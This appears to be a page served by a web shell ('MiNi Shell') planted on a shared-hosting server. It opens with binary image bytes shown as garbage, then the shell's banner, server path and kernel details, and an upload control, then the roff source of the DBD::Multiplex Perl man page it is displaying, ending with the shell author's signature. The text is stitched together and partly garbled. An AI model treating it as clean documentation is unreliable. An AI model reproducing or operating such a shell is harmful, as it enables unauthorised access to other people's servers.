JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/DBD::Multiplex.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "Multiplex 3"
.TH Multiplex 3 "2006-05-15" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
DBD::Multiplex \- A multiplexing driver for the DBI.
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 1
\& use strict;
.Ve
.PP
.Vb 1
\& use DBI;
.Ve
.PP
.Vb 1
\& my ($dsn1, $dsn2, $dsn3, $dsn4, %attr);
.Ve
.PP
.Vb 1
\& # Define four databases, in this case, four Postgres databases.
.Ve
.PP
.Vb 4
\& $dsn1 = 'dbi:Pg:dbname=aaa;host=10.0.0.1;mx_id=dbaaa1';
\& $dsn2 = 'dbi:Pg:dbname=bbb;host=10.0.0.2;mx_id=dbbbb2';
\& $dsn3 = 'dbi:Pg:dbname=ccc;host=10.0.0.3;mx_id=dbccc3';
\& $dsn4 = 'dbi:Pg:dbname=ddd;host=10.0.0.4;mx_id=dbddd4';
.Ve
.PP
.Vb 1
\& # Define a callback error handler.
.Ve
.PP
.Vb 8
\& sub MyErrorProcedure {
\&        my ($mx_id, $error_number, $error_string) = @_;
\&        my ($filepath, $extension) = ('/tmp/', '.txt');
\&        open (TFH, ">>$filepath$mx_id$extension");
\&        print (TFH "$error_number\et$error_string\en");
\&        close (TFH);
\&        return 1;
\& }
.Ve
.PP
.Vb 1
\& # Define the pool of datasources.
.Ve
.PP
.Vb 7
\& %attr = (
\&        'mx_dsns' => [$dsn1, $dsn2, $dsn3, $dsn4],
\&        'mx_master_id' => 'dbaaa1',
\&        'mx_connect_mode' => 'ignore_errors',
\&        'mx_exit_mode' => 'first_success',
\&        'mx_error_proc' => \e&MyErrorProcedure,
\& );
.Ve
.PP
.Vb 1
\& # Connect to all four datasources.
.Ve
.PP
.Vb 1
\& $dbh = DBI->connect("dbi:Multiplex:", 'username', 'password', \e%attr);
.Ve
.PP
.Vb 1
\& # See the DBI module documentation for full details.
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
DBD::Multiplex is a Perl module which works with the \s-1DBI\s0 allowing you
to work with multiple datasources using a single \s-1DBI\s0 handle.
.PP
Basically, DBD::Multiplex database and statement handles are parents
that contain multiple child handles, one for each datasource. Method
calls on the parent handle trigger corresponding method calls on
each of the children.
.PP
One use of this module is to mirror the contents of one datasource
using a set of alternate datasources.  For that scenario it can
write to all datasources, but read from only from one datasource.
.PP
Alternatively, where a database already supports replication,
DBD::Multiplex can be used to direct writes to the master and spread
the selects across multiple slaves.
.SH "COMPATIBILITY"
.IX Header "COMPATIBILITY"
A goal of this module is to be compatible with DBD::Proxy / DBI::ProxyServer.
Currently, the 'mx_error_proc' feature generates errors regarding the storage
of \s-1CODE\s0 references within the Storable module used by RPC::PlClient
which in turn is used by DBD::Proxy. Yet it works.
.SH "CONNECTING TO THE DATASOURCES"
.IX Header "CONNECTING TO THE DATASOURCES"
Multiple datasources are specified in the either the \s-1DSN\s0 parameter of
the \s-1DBI\-\s0>\fIconnect()\fR function (separated by the '|' character), 
and/or in the 'mx_dsns' key/value pair (as an array reference) of 
the \e%attr parameter.
.SH "SPECIFIC ATTRIBUTES"
.IX Header "SPECIFIC ATTRIBUTES"
Multiplex attributes are specified in the either the \s-1DSN\s0 parameter of
the \s-1DBI\-\s0>\fIconnect()\fR function (separated from the DSNs by the '#' character), 
and/or in the the \e%attr parameter. Attributes in the \e%attr parameter
will overwrite attributes from the \s-1DSN\s0 parameter.
.PP
The following specific attributes can be set when connecting:
.IP "\fBmx_dsns\fR" 4
.IX Item "mx_dsns"
An array reference of \s-1DSN\s0 strings. 
.IP "\fBmx_master_id\fR" 4
.IX Item "mx_master_id"
Specifies which mx_id will be used as the master server for a
master/slave one-way replication scheme.
.IP "\fBmx_connect_mode\fR" 4
.IX Item "mx_connect_mode"
Options available or under consideration:
.Sp
\&\fBreport_errors\fR
.Sp
A failed connection to any of the data sources will generate a \s-1DBI\s0 error.
This is the default.
.Sp
\&\fBignore_errors\fR
.Sp
Failed connections are ignored, forgotten, and therefore, unused.
.IP "\fBmx_exit_mode\fR" 4
.IX Item "mx_exit_mode"
Options available or under consideration:
.Sp
\&\fBfirst_error\fR
.Sp
Execute the requested method against each child handle, stopping 
after the first error, and returning the all of the results.
This is the default.
.Sp
\&\fBfirst_success\fR
.Sp
Execute the requested method against each child handle, stopping after 
the first successful result, and returning only the successful result.
Most appropriate when reading from a set of mirrored datasources.
.Sp
\&\fBfirst_success_random\fR
.Sp
Randomly reorders the list of DSNs, and then connects to them in that order.
Then switches to \fBfirst_success\fR mode. 
You can redefine mx_exit_mode after connecting.
.Sp
.Vb 1
\&         $dbh->{'mx_exit_mode'} = 'last_result';
.Ve
.Sp
\&\fBlast_result\fR
.Sp
Execute the requested method against each child handle, not stopping after 
any errors, and returning all of the results.
.Sp
\&\fBlast_result_most_common\fR
.Sp
Execute the requested method against each child handle, not stopping after 
the errors, and returning the most common result (eg three-way-voting etc).
Not yet implemented.
.IP "\fBmx_error_proc\fR" 4
.IX Item "mx_error_proc"
A reference to a subroutine which will be executed whenever a \s-1DBI\s0 method 
generates an error when working with a specific datasource. It will be 
passed the \s-1DSN\s0 and 'mx_id' of the datasource, and the \f(CW$DBI::err\fR and \f(CW$DBI::errstr\fR.
.Sp
Define your own subrouine and pass a reference to it, 
or pass a reference to the default error_proc:
.Sp
.Vb 1
\&        \e&DBD::Multiplex::mx_error_subroutine
.Ve
.Sp
Remember that references to subroutines do not include the parentheses.
.PP
In some cases, the exit mode will depend on the method being called.
For example, this module will always execute \f(CW$dbh\fR\->\fIdisconnect()\fR calls 
against each child handle.
.PP
In others, the default will be used, unless the user of the \s-1DBI\s0  
specified the 'mx_exit_mode' when connecting, or later changed 
the 'mx_exit_mode' attribute of a database or statement handle. 
.SH "USAGE EXAMPLE"
.IX Header "USAGE EXAMPLE"
Here's an example of using DBD::Multiplex with MySQL's replication scheme. 
.PP
MySQL supports one-way replication, which means we run a server as the master 
server and others as slaves which catch up any changes made on the master. 
Any \s-1READ\s0 operations then may be distributed among them (master and slave(s)), 
whereas any \s-1WRITE\s0 operation must \fBonly\fR be directed toward the master. 
Any changes happened on slave(s) will never get synchronized to other servers. 
More detailed instructions on how to arrange such setup can be found at:
.PP
.Vb 1
\& http://dev.mysql.com/doc/mysql/en/Replication.html
.Ve
.PP
Now say we have two servers, one at 10.0.0.1 as a master, and one at 
10.0.0.9 as a slave. The \s-1DSN\s0 for each server may be written like this:
.PP
.Vb 4
\& my (@dsns) = qw{
\&        dbi:mysql:database=test;host=10.0.0.1;mx_id=masterdb
\&        dbi:mysql:database=test;host=10.0.0.9;mx_id=slavedb
\& };
.Ve
.PP
Here we choose easy-to-remember \f(CW\*(C`mx_id\*(C'\fRs: masterdb and slavedb.
You are free to choose alternative names, for example: mst and slv. 
Then we create the \s-1DSN\s0 for DBD::Multiplex by joining them, using the 
pipe character as separator:
.PP
.Vb 3
\& my ($dsn) = 'dbi:Multiplex:' . join('|', @dsns);
\& my ($user) = 'username';
\& my ($pass) = 'password';
.Ve
.PP
As a more paranoid practice, configure the 'user's permissions to
allow only SELECTs on the slaves.
.PP
Next, we define the attributes which will affect DBD::Multiplex behaviour:
.PP
.Vb 4
\& my (%attr) = (
\&        'mx_exit_mode' => 'first_success_random',
\&        'mx_master_id' => 'masterdb',
\& );
.Ve
.PP
These attributes are required for MySQL replication support:
.PP
We set \f(CW\*(C`mx_exit_mode\*(C'\fR to 'first_success_random' which will make
DBD::Multiplex shuffle the \s-1DSN\s0 list order prior to connect,
and afterwards revert to 'first_success'.
.PP
The \f(CW\*(C`mx_master_id\*(C'\fR attribute specifies which \f(CW\*(C`mx_id\*(C'\fR will be recognized
as the master. In our example, this is set to 'masterdb'. This attribute will
ensure that every \s-1WRITE\s0 operation will be executed only on the master server.
Finally, we call \s-1DBI\-\s0>\fIconnect()\fR:
.PP
.Vb 1
\& $dbh = DBI->connect($dsn, $user, $pass, \e%attr) or die $DBI::errstr;
.Ve
.SH "AUTHORS AND COPYRIGHT"
.IX Header "AUTHORS AND COPYRIGHT"
Copyright (c) 1999,2006, Tim Bunce & Thomas Kishel
.PP
While I defer to Tim Bunce regarding the majority of this module,
feel free to contact me for more information:
.PP
Thomas Kishel
.PP
.Vb 1
\&        tkishel + perl @ gmail . com
.Ve
.PP
(remove spaces)
.PP
You may distribute under the terms of either the \s-1GNU\s0 General Public
License or the Artistic License, as specified in the Perl \s-1README\s0 file.

Creat By MiNi SheLL
Email: devilkiller@gmail.com